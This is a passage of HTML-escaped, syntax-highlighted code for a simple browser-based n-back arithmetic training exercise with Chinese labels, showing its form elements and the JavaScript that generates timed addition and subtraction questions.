#B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            溯答&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;开始&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;question&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ? &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;small&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;small&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; ? = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rows&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; cols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;visibility: hidden&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;正确率：&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;span&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;accuracy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;??&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;span&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        const id = x =&amp;gt; document.getElementById(x)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        const textarea = id(&amp;#39;input&amp;#39;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            log = id(&amp;#39;log&amp;#39;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            pane = id(&amp;#39;question&amp;#39;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            accuracy = id(&amp;#39;accuracy&amp;#39;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            button = id(&amp;#39;start&amp;#39;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            nBack = id(&amp;#39;N&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        const randint = max =&amp;gt; Math.floor(Math.random() * max)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        let queue&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        function updateQuestion() &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            const a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; randint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; randint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                sum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                qa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; + &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; sum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;], [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; - &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;randint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            pane&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; qa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            queue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;qa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        const sleep = sec =&amp;gt; new Promise(resolve =&amp;gt; setTimeout(resolve, sec * 1000))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        async function main(n) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            queue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;visibility&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            accuracy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;??&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;let i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; n&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;                updateQuestion&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                await &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;            &#x2F;&#x2F; 最后一题不需要等&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            updateQuestion&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;            &#x2F;&#x2F; 开始&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;visibility&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;visible&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;focus&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        button.addEventListener(&amp;#39;click&amp;#39;, e =&amp;gt; main(parseInt(nBack.value)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &#x2F;&#x2F; 确保只能输入一个数字&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        textarea.addEventListener(&amp;#39;keydown&amp;#39;, e =&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;repeat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                const &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;curr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;value&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                textarea.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;substring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;length&lt;&#x2F;span&gt;&lt;span style=&quot;color: 